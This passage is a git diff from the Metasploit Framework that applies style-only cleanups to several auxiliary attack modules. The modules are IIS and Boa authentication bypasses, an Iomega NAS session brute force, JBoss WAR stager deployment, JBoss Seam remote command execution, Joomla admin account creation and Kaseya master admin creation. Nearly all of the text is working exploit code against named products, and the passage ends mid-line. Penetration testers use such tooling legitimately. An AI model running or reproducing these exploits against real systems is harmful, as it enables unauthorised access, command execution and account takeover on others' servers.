'MSB', 'MS10-065' ], [ 'URL', 'https://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ] ], - 'Author' => - [ + 'Author' => [ 'Soroush Dalili', 'sinn3r' ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2010-07-02' - )) + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2010-07-02' + ) + ) register_options( [ - OptString.new("TARGETURI", [true, 'The URI directory where basic auth is enabled', '/']) - ]) + OptString.new('TARGETURI', [true, 'The URI directory where basic auth is enabled', '/']) + ] + ) end - def has_auth uri = normalize_uri(target_uri.path) uri << '/' if uri[-1, 1] != '/' @@ -53,35 +54,34 @@ class MetasploitModule < Msf::Auxiliary def try_auth uri = normalize_uri(target_uri.path) uri << '/' if uri[-1, 1] != '/' - uri << Rex::Text.rand_text_alpha(rand(10)+5) + ".#{Rex::Text.rand_text_alpha(3)}" + uri << Rex::Text.rand_text_alpha(rand(5..14)) + ".#{Rex::Text.rand_text_alpha(3)}" dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/' - user = Rex::Text.rand_text_alpha(rand(10) + 5) - pass = Rex::Text.rand_text_alpha(rand(10) + 5) - + user = Rex::Text.rand_text_alpha(rand(5..14)) + pass = Rex::Text.rand_text_alpha(rand(5..14)) vprint_status("Requesting: #{dir}") res = send_request_cgi({ 'uri' => dir, 'method' => 'GET', - 'authorization' => basic_auth(user,pass) + 'authorization' => basic_auth(user, pass) }) vprint_status(res.body) if res - return (res and res.code != 401 and res.code != 404) ? dir : '' + return (res && (res.code != 401) && (res.code != 404)) ? dir : '' end def run - if not has_auth - print_error("No basic authentication enabled") + if !has_auth + print_error('No basic authentication enabled') return end bypass_string = try_auth if bypass_string.empty? - print_error("The bypass attempt did not work") + print_error('The bypass attempt did not work') else print_good("You can bypass auth by doing: #{bypass_string}") end diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 789fd8bcbf..32d7674d40 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -7,9 +7,11 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset', + 'Description' => %q{ The Intersil extension in the Boa HTTP Server 0.93.x - 0.94.11 allows basic authentication bypass when the user string is greater than 127 bytes long. The long string causes the password to be @@ -20,80 +22,79 @@ class MetasploitModule < Msf::Auxiliary Please note that you must set the request URI to the directory that requires basic authentication in order to work properly. }, - 'Author' => - [ - 'Luca "ikki" Carettoni ', #original discoverer - 'Claudio "paper" Merloni ', #original discoverer - 'Max Dietz ' #metasploit module + 'Author' => [ + 'Luca "ikki" Carettoni ', # original discoverer + 'Claudio "paper" Merloni ', # original discoverer + 'Max Dietz ' # metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2007-4915' ], [ 'BID', '25676'], [ 'PACKETSTORM', '59347'] ], - 'DisclosureDate' => '2007-09-10')) + 'DisclosureDate' => '2007-09-10' + ) + ) register_options( [ - OptString.new('TARGETURI', [ true, "The request URI", '/']), + OptString.new('TARGETURI', [ true, 'The request URI', '/']), OptString.new('PASSWORD', [true, 'The password to set', 'pass']) - ]) + ] + ) end def check - begin - res = send_request_cgi({ - 'uri'=>'/', - 'method'=>'GET' - }) + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) - if (res and (m = res.headers['Server'].match(/Boa\/(.*)/))) - vprint_status("Boa Version Detected: #{m[1]}") - return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version - return Exploit::CheckCode::Safe if (m[1][3].ord-48>4) - return Exploit::CheckCode::Vulnerable - else - vprint_status("Not a Boa Server!") - return Exploit::CheckCode::Safe # not a boa server - end + if (res && (m = res.headers['Server'].match(%r{Boa/(.*)}))) + vprint_status("Boa Version Detected: #{m[1]}") + return Exploit::CheckCode::Safe if (m[1][0].ord - 48 > 0) # boa server wrong version + return Exploit::CheckCode::Safe if (m[1][3].ord - 48 > 4) - rescue Rex::ConnectionRefused - print_error("Connection refused by server.") - return Exploit::CheckCode::Safe + return Exploit::CheckCode::Vulnerable + else + vprint_status('Not a Boa Server!') + return Exploit::CheckCode::Safe # not a boa server end + rescue Rex::ConnectionRefused + print_error('Connection refused by server.') + return Exploit::CheckCode::Safe end def run return if check != Exploit::CheckCode::Vulnerable uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri << '/' if uri[-1, 1] != '/' res = send_request_cgi({ - 'uri'=> uri, - 'method'=>'GET', - 'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD']) + 'uri' => uri, + 'method' => 'GET', + 'authorization' => basic_auth(Rex::Text.rand_text_alpha(127), datastore['PASSWORD']) }) if res.nil? - print_error("The server may be down") + print_error('The server may be down') return - elsif res and res.code != 401 + elsif res && (res.code != 401) print_status("#{uri} does not have basic authentication enabled") return end - print_status("Server still operational. Checking to see if password has been overwritten") + print_status('Server still operational. Checking to see if password has been overwritten') res = send_request_cgi({ - 'uri' => uri, - 'method'=> 'GET', + 'uri' => uri, + 'method' => 'GET', 'authorization' => basic_auth('admin', datastore['PASSWORD']) }) - if not res - print_error("Server timedout, will not continue") + if !res + print_error('Server timedout, will not continue') return end @@ -101,10 +102,9 @@ class MetasploitModule < Msf::Auxiliary when 200 print_good("Password reset successful with admin:#{datastore['PASSWORD']}") when 401 - print_error("Access forbidden. The password reset attempt did not work") + print_error('Access forbidden. The password reset attempt did not work') else print_status("Unexpected response: Code #{res.code} encountered") end - end end diff --git a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb index e33e2f3163..617956e0c1 100644 --- a/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb +++ b/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb @@ -8,48 +8,45 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Iomega StorCenter Pro NAS Web Authentication Bypass', + 'Name' => 'Iomega StorCenter Pro NAS Web Authentication Bypass', 'Description' => %q{ The Iomega StorCenter Pro Network Attached Storage device web interface increments sessions IDs, allowing for simple brute force attacks to bypass authentication and gain administrative access. }, - 'References' => - [ - [ 'OSVDB', '55586' ], - [ 'CVE', '2009-2367' ], - ], - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE + 'References' => [ + [ 'OSVDB', '55586' ], + [ 'CVE', '2009-2367' ], + ], + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE ) register_options( [ OptInt.new('SID_MAX', [true, 'Maximum Session ID', 100]) - ]) + ] + ) end def run datastore['SID_MAX'].times do |x| - begin - print_status("Trying session ID #{x.to_s}") + print_status("Trying session ID #{x}") - res = send_request_raw({ - 'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}", - 'method' => 'GET' - }, 25) + res = send_request_raw({ + 'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}", + 'method' => 'GET' + }, 25) - if (res and res.to_s =~ /Log out/) - print_status("Found valid session ID number #{x.to_s}!") - print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x.to_s}") - break - end - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_error("Unable to connect to #{rhost}:#{rport}") + if (res && res.to_s =~ (/Log out/)) + print_status("Found valid session ID number #{x}!") + print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}") break - rescue ::Timeout::Error, ::Errno::EPIPE end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_error("Unable to connect to #{rhost}:#{rport}") + break + rescue ::Timeout::Error, ::Errno::EPIPE end end end diff --git a/modules/auxiliary/admin/http/jboss_bshdeployer.rb b/modules/auxiliary/admin/http/jboss_bshdeployer.rb index b6cb0b7349..7bf828261a 100644 --- a/modules/auxiliary/admin/http/jboss_bshdeployer.rb +++ b/modules/auxiliary/admin/http/jboss_bshdeployer.rb @@ -8,57 +8,55 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment', - 'Description' => %q{ + 'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment', + 'Description' => %q{ This module can be used to install a WAR file payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:BSHDeployer's createScriptDeployment() method. }, - 'Author' => - [ - 'us3r777 ' - ], - 'References' => - [ - [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST - [ 'OSVDB', '64171' ], - [ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ], - [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ] - ], - 'Actions' => - [ - ['Deploy', 'Description' => 'Create and deploy app (WAR) to deliver payload'], - ['Undeploy', 'Description' => 'Remove app (WAR) for cleanup'] - ], + 'Author' => [ + 'us3r777 ' + ], + 'References' => [ + [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST + [ 'OSVDB', '64171' ], + [ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ] + ], + 'Actions' => [ + ['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }], + ['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }] + ], 'DefaultAction' => 'Deploy', - 'License' => BSD_LICENSE, + 'License' => BSD_LICENSE, ) register_options( [ Opt::RPORT(8080), - OptString.new('APPBASE', [ true, 'Application base name', 'payload']), - OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) - ]) + OptString.new('APPBASE', [ true, 'Application base name', 'payload']), + OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) + ] + ) end def deploy_action(app_base, war_data) encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') if http_verb == 'POST' - print_status("Deploying payload...") + print_status('Deploying payload...') opts = { - :file => "#{app_base}.war", - :contents => encoded_payload + file: "#{app_base}.war", + contents: encoded_payload } else - print_status("Deploying stager...") - stager_name = Rex::Text.rand_text_alpha(8 + rand(8)) + print_status('Deploying stager...') + stager_name = Rex::Text.rand_text_alpha(rand(8..15)) stager_contents = stager_jsp(app_base) opts = { - :dir => "#{stager_name}.war", - :file => "#{stager_name}.war/#{stager_name}.jsp", - :contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '') + dir: "#{stager_name}.war", + file: "#{stager_name}.war/#{stager_name}.jsp", + contents: Rex::Text.encode_base64(stager_contents).gsub(/\n/, '') } end @@ -66,40 +64,39 @@ class MetasploitModule < Msf::Auxiliary package = deploy_bsh(bsh_payload) if package.nil? - print_error("Deployment failed") + print_error('Deployment failed') return else - print_good("Deployment successful") + print_good('Deployment successful') end unless http_verb == 'POST' # call the stager to deploy our real payload war stager_uri = '/' + stager_name + '/' + stager_name + '.jsp' - payload_data = "#{Rex::Text.rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}" + payload_data = "#{Rex::Text.rand_text_alpha(rand(8..15))}=#{Rex::Text.uri_encode(encoded_payload)}" print_status("Calling stager #{stager_uri} to deploy final payload...") res = deploy('method' => 'POST', - 'data' => payload_data, - 'uri' => stager_uri) + 'data' => payload_data, + 'uri' => stager_uri) if res && res.code == 200 - print_good("Payload deployed") + print_good('Payload deployed') else - print_error("Failed to deploy final payload") + print_error('Failed to deploy final payload') end # Remove the stager - print_status("Removing stager...") + print_status('Removing stager...') files = {} files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp" files[:stager_base] = "#{stager_name}.war" delete_script = generate_bsh(:delete, files) res = deploy_package(delete_script, package) if res.nil? - print_error("Unable to remove Stager") + print_error('Unable to remove Stager') else - print_good("Stager successfully removed") + print_good('Stager successfully removed') end end - end def undeploy_action(app_base) @@ -112,9 +109,9 @@ class MetasploitModule < Msf::Auxiliary package = deploy_bsh(delete_script) if package.nil? - print_error("Unable to remove WAR") + print_error('Unable to remove WAR') else - print_good("Successfully removed") + print_good('Successfully removed') end end @@ -124,7 +121,7 @@ class MetasploitModule < Msf::Auxiliary case action.name when 'Deploy' unless datastore['WARFILE'] && File.exist?(datastore['WARFILE']) - print_error("WAR file not found") + print_error('WAR file not found') return end war_data = File.read(datastore['WARFILE'], mode: 'rb') diff --git a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb index b662bf7bd0..17d2c6372e 100644 --- a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb +++ b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb @@ -8,53 +8,51 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment', + 'Name' => 'JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment', 'Description' => %q{ This module uses the DeploymentFileRepository class in the JBoss Application Server to deploy a JSP file which then deploys an arbitrary WAR file. }, - 'Author' => - [ - 'us3r777 ' - ], - 'References' => - [ - [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST - [ 'OSVDB', '64171' ], - [ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ], - [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ] - ], - 'Actions' => - [ - ['Deploy', 'Description' => 'Create and deploy app (WAR) to deliver payload'], - ['Undeploy', 'Description' => 'Remove app (WAR) for cleanup'] - ], + 'Author' => [ + 'us3r777 ' + ], + 'References' => [ + [ 'CVE', '2010-0738' ], # using a VERB other than GET/POST + [ 'OSVDB', '64171' ], + [ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ] + ], + 'Actions' => [ + ['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }], + ['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }] + ], 'DefaultAction' => 'Deploy', - 'License' => BSD_LICENSE, + 'License' => BSD_LICENSE, ) register_options( [ Opt::RPORT(8080), - OptString.new('APPBASE', [ true, 'Application base name', 'payload']), - OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) - ]) + OptString.new('APPBASE', [ true, 'Application base name', 'payload']), + OptPath.new('WARFILE', [ false, 'The WAR file to deploy']) + ] + ) end def deploy_action(app_base, war_data) - stager_base = Rex::Text.rand_text_alpha(8+rand(8)) - stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) + stager_base = Rex::Text.rand_text_alpha(rand(8..15)) + stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15)) encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '') stager_contents = stager_jsp_with_payload(app_base, encoded_payload) if http_verb == 'POST' - print_status("Deploying stager for the WAR file...") + print_status('Deploying stager for the WAR file...') res = upload_file(stager_base, stager_jsp_name, stager_contents) else - print_status("Deploying minimal stager to upload the payload...") - head_stager_jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) + print_status('Deploying minimal stager to upload the payload...') + head_stager_jsp_name = Rex::Text.rand_text_alpha(rand(8..15)) head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name) - head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp" + head_stager_uri = '/' + stager_base + '/' + head_stager_jsp_name + '.jsp' res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents) # We split the stager_jsp_code in multipe junks and transfer on the @@ -62,9 +60,9 @@ class MetasploitModule < Msf::Auxiliary current_pos = 0 while current_pos < stager_contents.length next_pos = current_pos + 5000 + rand(100) - vars_get = { 'arg0' => stager_contents[current_pos,next_pos] } + vars_get = { 'arg0' => stager_contents[current_pos, next_pos] } print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})") - res = deploy('uri' => head_stager_uri, + res = deploy('uri' => head_stager_uri, 'vars_get' => vars_get) current_pos += next_pos end @@ -72,24 +70,24 @@ class MetasploitModule < Msf::Auxiliary # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA), # but the file still gets written. - unless res && ( res.code == 200 || res.code == 500) - fail_with(Failure::Unknown, "Failed to deploy") + unless res && (res.code == 200 || res.code == 500) + fail_with(Failure::Unknown, 'Failed to deploy') end - print_status("Calling stager to deploy the payload warfile (might take some time)") + print_status('Calling stager to deploy the payload warfile (might take some time)') stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp' stager_res = deploy('uri' => stager_uri, 'method' => 'GET') if res && res.code == 200 - print_good("Payload deployed") + print_good('Payload deployed') else - print_error("Failed to deploy final payload") + print_error('Failed to deploy final payload') end # Cleaning stagers - print_status("Undeploying stagers via DeploymentFileRepository.remove()...") - print_status("This might take some time, be patient...") if http_verb == "HEAD" + print_status('Undeploying stagers via DeploymentFileRepository.remove()...') + print_status('This might take some time, be patient...') if http_verb == 'HEAD' delete_res = [] if head_stager_jsp_name delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp') @@ -98,7 +96,7 @@ class MetasploitModule < Msf::Auxiliary delete_res << delete_file('./', stager_base + '.war', '') delete_res.each do |res| if !res - print_warning("Unable to remove WAR [No Response]") + print_warning('Unable to remove WAR [No Response]') elsif (res.code < 200 || res.code >= 300) print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]") end @@ -108,18 +106,18 @@ class MetasploitModule < Msf::Auxiliary # Undeploy the WAR and the stager if needed def undeploy_action(app_base) print_status("Undeploying #{app_base} via DeploymentFileRepository.remove()...") - print_status("This might take some time, be patient...") if http_verb == "HEAD" + print_status('This might take some time, be patient...') if http_verb == 'HEAD' res = delete_file('./', app_base + '.war', '') unless res - print_error("Unable to remove WAR (no response)") + print_error('Unable to remove WAR (no response)') return end if res.code < 200 || res.code >= 300 print_error("Unable to remove WAR [#{res.code} #{res.message}]") else - print_good("Successfully removed") + print_good('Successfully removed') end end @@ -129,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary case action.name when 'Deploy' unless datastore['WARFILE'] && File.exist?(datastore['WARFILE']) - fail_with(Failure::BadConfig, "Unable to open WARFILE") + fail_with(Failure::BadConfig, 'Unable to open WARFILE') end war_data = File.read(datastore['WARFILE'], mode: 'rb') deploy_action(app_base, war_data) diff --git a/modules/auxiliary/admin/http/jboss_seam_exec.rb b/modules/auxiliary/admin/http/jboss_seam_exec.rb index 74ca7f7dff..dbafaea876 100644 --- a/modules/auxiliary/admin/http/jboss_seam_exec.rb +++ b/modules/auxiliary/admin/http/jboss_seam_exec.rb @@ -7,43 +7,46 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'JBoss Seam 2 Remote Command Execution', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'JBoss Seam 2 Remote Command Execution', + 'Description' => %q{ JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform - 4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression - Language (EL) expressions, which allows remote attackers to execute arbitrary code - via a crafted URL. This modules also has been tested successfully against IBM - WebSphere 6.1 running on iSeries. + 4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression + Language (EL) expressions, which allows remote attackers to execute arbitrary code + via a crafted URL. This modules also has been tested successfully against IBM + WebSphere 6.1 running on iSeries. - NOTE: this is only a vulnerability when the Java Security Manager is not properly - configured. - }, - 'Author' => - [ + NOTE: this is only a vulnerability when the Java Security Manager is not properly + configured. + }, + 'Author' => [ 'guerrino di massa', # Metasploit module 'Cristiano Maruti ' # Support for IBM Websphere 6.1 ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2010-1871' ], [ 'OSVDB', '66881'] ], - 'DisclosureDate' => '2010-07-19')) + 'DisclosureDate' => '2010-07-19' + ) + ) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']), - OptString.new('CMD', [ true, "The command to execute."]) - ]) + OptString.new('CMD', [ true, 'The command to execute.']) + ] + ) end def run uri = normalize_uri(target_uri.to_s) - cmd_enc = "" - cmd_enc << Rex::Text.uri_encode(datastore["CMD"]) + cmd_enc = '' + cmd_enc << Rex::Text.uri_encode(datastore['CMD']) flag_found_one = 255 flag_found_two = 255 @@ -53,45 +56,46 @@ class MetasploitModule < Msf::Auxiliary uri_part_3 = "].invoke(null),'" 25.times do |index| - req = uri + uri_part_1 + index.to_s + "]}" + req = uri + uri_part_1 + index.to_s + ']}' res = send_request_cgi( { - 'uri' => req, - 'method' => 'GET', - }, 20) + 'uri' => req, + 'method' => 'GET' + }, 20 + ) - if (res and res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29)) + if (res && res.headers['Location'] =~ (/java.lang.Runtime.exec%28java.lang.String%29/)) flag_found_one = index - print_status("Found right index at [" + index.to_s + "] - exec") - elsif (res and res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime)) - print_status("Found right index at [" + index.to_s + "] - getRuntime") + print_status('Found right index at [' + index.to_s + '] - exec') + elsif (res && res.headers['Location'] =~ (/java.lang.Runtime\+java.lang.Runtime.getRuntime/)) + print_status('Found right index at [' + index.to_s + '] - getRuntime') flag_found_two = index else - print_status("Index [" + index.to_s + "]") + print_status('Index [' + index.to_s + ']') end end - if (flag_found_one != 255 && flag_found_two != 255 ) - print_status("Target appears VULNERABLE!") - print_status("Sending remote command:" + datastore["CMD"]) + if (flag_found_one != 255 && flag_found_two != 255) + print_status('Target appears VULNERABLE!') + print_status('Sending remote command:' + datastore['CMD']) req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}" res = send_request_cgi( { - 'uri' => req, - 'method' => 'GET', - }, 20) + 'uri' => req, + 'method' => 'GET' + }, 20 + ) - - if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess)) - print_good("Exploited successfully") + if (res && res.headers['Location'] =~ (/pwned=java.lang.UNIXProcess/)) + print_good('Exploited successfully') else - print_error("Exploit failed") + print_error('Exploit failed') end else - print_error("Target appears not vulnerable!") + print_error('Target appears not vulnerable!') end end end diff --git a/modules/auxiliary/admin/http/joomla_registration_privesc.rb b/modules/auxiliary/admin/http/joomla_registration_privesc.rb index f85961895b..89c72cf51f 100644 --- a/modules/auxiliary/admin/http/joomla_registration_privesc.rb +++ b/modules/auxiliary/admin/http/joomla_registration_privesc.rb @@ -7,29 +7,30 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Joomla def initialize(info = {}) - super(update_info(info, - 'Name' => 'Joomla Account Creation and Privilege Escalation', - 'Description' => %q{ - This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4 - through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default). - }, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Joomla Account Creation and Privilege Escalation', + 'Description' => %q{ + This module creates an arbitrary account with administrative privileges in Joomla versions 3.4.4 + through 3.6.3. If an email server is configured in Joomla, an email will be sent to activate the account (the account is disabled by default). + }, + 'References' => [ ['CVE', '2016-8869'], ['CVE', '2016-8870'], ['URL', 'https://developer.joomla.org/security-centre/660-20161002-core-elevated-privileges.html'], ['URL', 'https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html'], ['URL', 'https://medium.com/@showthread/joomla-3-6-4-account-creation-elevated-privileges-write-up-and-exploit-965d8fb46fa2'] ], - 'Author' => - [ - 'Fabio Pires ', # module creation and privilege escalation + 'Author' => [ + 'Fabio Pires ', # module creation and privilege escalation 'Filipe Reis ', # module creation and privilege escalation 'Vitor Oliveira ', # module creation and privilege escalation ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2016-10-25' - )) + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2016-10-25' + ) + ) register_options( [ @@ -87,7 +88,7 @@ class MetasploitModule < Msf::Auxiliary return end - print_status("Trying to create the user!") + print_status('Trying to create the user!') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), 'vars_get' => { @@ -113,23 +114,23 @@ class MetasploitModule < Msf::Auxiliary mime.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user[username]"') mime.add_part('7', nil, nil, 'form-data; name="user[groups][]"') mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password1]"') - mime.add_part(datastore['PASSWORD'] , nil, nil, 'form-data; name="user[password2]"') + mime.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="user[password2]"') mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email1]"') mime.add_part(datastore['EMAIL'], nil, nil, 'form-data; name="user[email2]"') mime.add_part('com_users', nil, nil, 'form-data; name="option"') mime.add_part('user.register', nil, nil, 'form-data; name="task"') - mime.add_part('1', nil, nil, 'form-data; name="' + csrf +'"') + mime.add_part('1', nil, nil, 'form-data; name="' + csrf + '"') res = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), + 'uri' => normalize_uri(target_uri.path, 'index.php/component/users/'), 'cookie' => cookie, - 'ctype' => "multipart/form-data; boundary=#{mime.bound}", - 'data' => mime.to_s + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s ) if res && res.code == 200 - print_good("PWND - Your user has been created") + print_good('PWND - Your user has been created') print_status("\tUsername: " + datastore['USERNAME']) print_status("\tPassword: " + datastore['PASSWORD']) print_status("\tEmail: " + datastore['EMAIL']) @@ -137,17 +138,17 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi!( 'uri' => res.redirection.path, 'method' => 'GET', - 'cookie' => cookie + 'cookie' => cookie ) - print_error("There was an issue, but the user could have been created.") + print_error('There was an issue, but the user could have been created.') parsed_data = res.get_html_document parsed_data.xpath('//div[@class="alert-message"]').each do |alert_msg| print_error("\t" + alert_msg.text) end else - print_error("This host may not be vulnerable.") + print_error('This host may not be vulnerable.') end end end diff --git a/modules/auxiliary/admin/http/kaseya_master_admin.rb b/modules/auxiliary/admin/http/kaseya_master_admin.rb index 5cb1a50433..75438a63cb 100644 --- a/modules/auxiliary/admin/http/kaseya_master_admin.rb +++ b/modules/auxiliary/admin/http/kaseya_master_admin.rb @@ -8,49 +8,51 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Kaseya VSA Master Administrator Account Creation', - 'Description' => %q{ - This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new - Master Administrator account. Normally this page is only accessible via the localhost - interface, but the application does nothing to prevent this apart from attempting to - force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and - v9.0.0.3. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Kaseya VSA Master Administrator Account Creation', + 'Description' => %q{ + This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new + Master Administrator account. Normally this page is only accessible via the localhost + interface, but the application does nothing to prevent this apart from attempting to + force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and + v9.0.0.3. + }, + 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2015-6922'], ['ZDI', '15-448'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Kaseya/kaseya-vsa-vuln-2.txt'], ['URL', 'https://seclists.org/bugtraq/2015/Sep/132'] ], - 'DisclosureDate' => '2015-09-23')) + 'DisclosureDate' => '2015-09-23' + ) + ) register_options( [ - OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']), + OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']), OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']), OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']), OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc']) - ]) + ] + ) end - def run res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'), - 'method' =>'GET', + 'method' => 'GET' }) if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/ - session_val = $1 + session_val = ::Regexp.last_match(1) else - print_error("Failed to get sessionVal") + print_error('Failed to get sessionVal') return end @@ -58,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'), - 'method' =>'POST', + 'method' => 'POST', 'vars_post' => { 'sessionVal' => session_val, 'adminName' => datastore['KASEYA_USER'], @@ -70,20 +72,20 @@ class MetasploitModule < Msf::Auxiliary }) unless res && res.code == 302 && res.body && 